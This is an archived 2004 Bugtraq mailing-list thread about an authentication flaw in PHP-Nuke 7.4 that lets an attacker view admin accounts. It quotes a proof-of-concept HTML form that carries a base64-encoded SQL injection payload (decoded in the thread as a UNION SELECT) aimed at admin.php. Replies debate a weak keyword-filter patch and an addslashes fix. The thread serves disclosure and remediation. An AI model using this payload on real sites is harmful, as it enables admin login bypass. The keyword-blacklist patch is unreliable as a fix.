Re: [XSS] PHP-Nuke 7.4 Bugs

[Blaine Elzey]

This seems like more of a SQL injection bug.

$admin value "eCcgVU5JT04gU0VMRUNUIDEvKjox" decodes to "x' UNION SELECT 1/*:1"
which will cause the pwd check to be manipulated into union selecting the
valid password.

7.4 Patch can be in auth.php, replace line (about) 61
if ($aid=="" || $pwd=="") {
with
if ($aid=="" || $pwd=="" || stristr($aid,'select')) {

I don't know if 7.5 is also vulnerable.

Blaine Elzey
--
Powered by: Open WebMail Project (http://openwebmail.org)


---------- Original Message -----------
From: Pierquinto Manco <mantra@ntj.it>
To: bugtraq@securityfocus.com
Sent: 4 Sep 2004 08:19:26 -0000
Subject: [XSS] PHP-Nuke 7.4 ViewAdmin Bug

> ************************************************** ************
> * CODEBUG Labs
> * Advisory #3
> * Title: ViewAdmin Bug
> * Author: Pierquinto 'Mantra' Manco
> * Product: PHP-Nuke 7.4
> * Type: XSS
> * Web: http://www.mantralab.org
> *
> ************************************************** ************
>
> View Admin Bug
>
> - ) Description
> PHP-Nuke is a very bugged web CMS, version 7.4 has critical
> XSS bug that permit to an attacker to view Admin account aid
> and to use this information to delete account using Delete Admin Bug
> (CODEBUG #2).
> This bug is very old too but we can bypass the patch sending data
> by POST instead of GET.
>
> - ) Proof-of-Concept
> Create a HTML file with this lines:
>
> <form name="form1" method="POST"
action="http://www.sitewithphpnuke.com/admin.php">
> <input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
> <br>
> <input type="hidden" name="add_radminsuper" value="1">
> <br>
> <input type="hidden" name="op" value="mod_authors">
> <input type="submit" name="Submit" value="Display">
> <br>
> </p>
> </form>
>
> - ) Patch
>
> Apply this code to your admin.php file:
>
> if ( !empty($HTTP_GET_VARS['op']) ) {
> $op = $HTTP_GET_VARS['op'];
> }
>
> if ( !empty($HTTP_POST_VARS['op']) ) {
> $op = $HTTP_POST_VARS['op'];
> }
>
> -) Note
>
> There are a lot of this problem in PHP-Nuke 7.4, my patch will check
> the content of $_POST[op] and $_GET[op].
> I'm going to post all this vulnerabilities on my site...
> http://www.mantralab.org
>
> ************************************************** ************
> http://www.mantralab.org
> ************************************************** ************
------- End of Original Message -------

[Peter Lowe]

I don't know much about the bug itself, but if it's an SQL injection bug
doing a case-insensitive search for "select" probably isn't going to fix
it properly. What if it was an update changing the admin password? Or a
query dropping the table as a DoS? Etc. Adding

$aid = addslashes($aid);

beforehand seems like a more sensible "fix".

cheers,

Peter

On Sep 05, Blaine Elzey wrote:
> This seems like more of a SQL injection bug.
>
> $admin value "eCcgVU5JT04gU0VMRUNUIDEvKjox" decodes to "x' UNION SELECT 1/*:1"
> which will cause the pwd check to be manipulated into union selecting the
> valid password.
>
> 7.4 Patch can be in auth.php, replace line (about) 61
> if ($aid=="" || $pwd=="") {
> with
> if ($aid=="" || $pwd=="" || stristr($aid,'select')) {
>
> I don't know if 7.5 is also vulnerable.
>
> Blaine Elzey
> --
> Powered by: Open WebMail Project (http://openwebmail.org)
>
>
> ---------- Original Message -----------
> From: Pierquinto Manco <mantra@ntj.it>
> To: bugtraq@securityfocus.com
> Sent: 4 Sep 2004 08:19:26 -0000
> Subject: [XSS] PHP-Nuke 7.4 ViewAdmin Bug
>
> > ************************************************** ************
> > * CODEBUG Labs
> > * Advisory #3
> > * Title: ViewAdmin Bug
> > * Author: Pierquinto 'Mantra' Manco
> > * Product: PHP-Nuke 7.4
> > * Type: XSS
> > * Web: http://www.mantralab.org
> > *
> > ************************************************** ************
> >
> > View Admin Bug
> >
> > - ) Description
> > PHP-Nuke is a very bugged web CMS, version 7.4 has critical
> > XSS bug that permit to an attacker to view Admin account aid
> > and to use this information to delete account using Delete Admin Bug
> > (CODEBUG #2).
> > This bug is very old too but we can bypass the patch sending data
> > by POST instead of GET.
> >
> > - ) Proof-of-Concept
> > Create a HTML file with this lines:
> >
> > <form name="form1" method="POST"
> action="http://www.sitewithphpnuke.com/admin.php">
> > <input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
> > <br>
> > <input type="hidden" name="add_radminsuper" value="1">
> > <br>
> > <input type="hidden" name="op" value="mod_authors">
> > <input type="submit" name="Submit" value="Display">
> > <br>
> > </p>
> > </form>
> >
> > - ) Patch
> >
> > Apply this code to your admin.php file:
> >
> > if ( !empty($HTTP_GET_VARS['op']) ) {
> > $op = $HTTP_GET_VARS['op'];
> > }
> >
> > if ( !empty($HTTP_POST_VARS['op']) ) {
> > $op = $HTTP_POST_VARS['op'];
> > }
> >
> > -) Note
> >
> > There are a lot of this problem in PHP-Nuke 7.4, my patch will check
> > the content of $_POST[op] and $_GET[op].
> > I'm going to post all this vulnerabilities on my site...
> > http://www.mantralab.org
> >
> > ************************************************** ************
> > http://www.mantralab.org
> > ************************************************** ************
> ------- End of Original Message -------
>
>

--
The Czech Republic: Home of the world's finest beer.
Litres drunk by Czechs so far this year: 1,131,898,570.28

- http://prague.tv/toys/beer/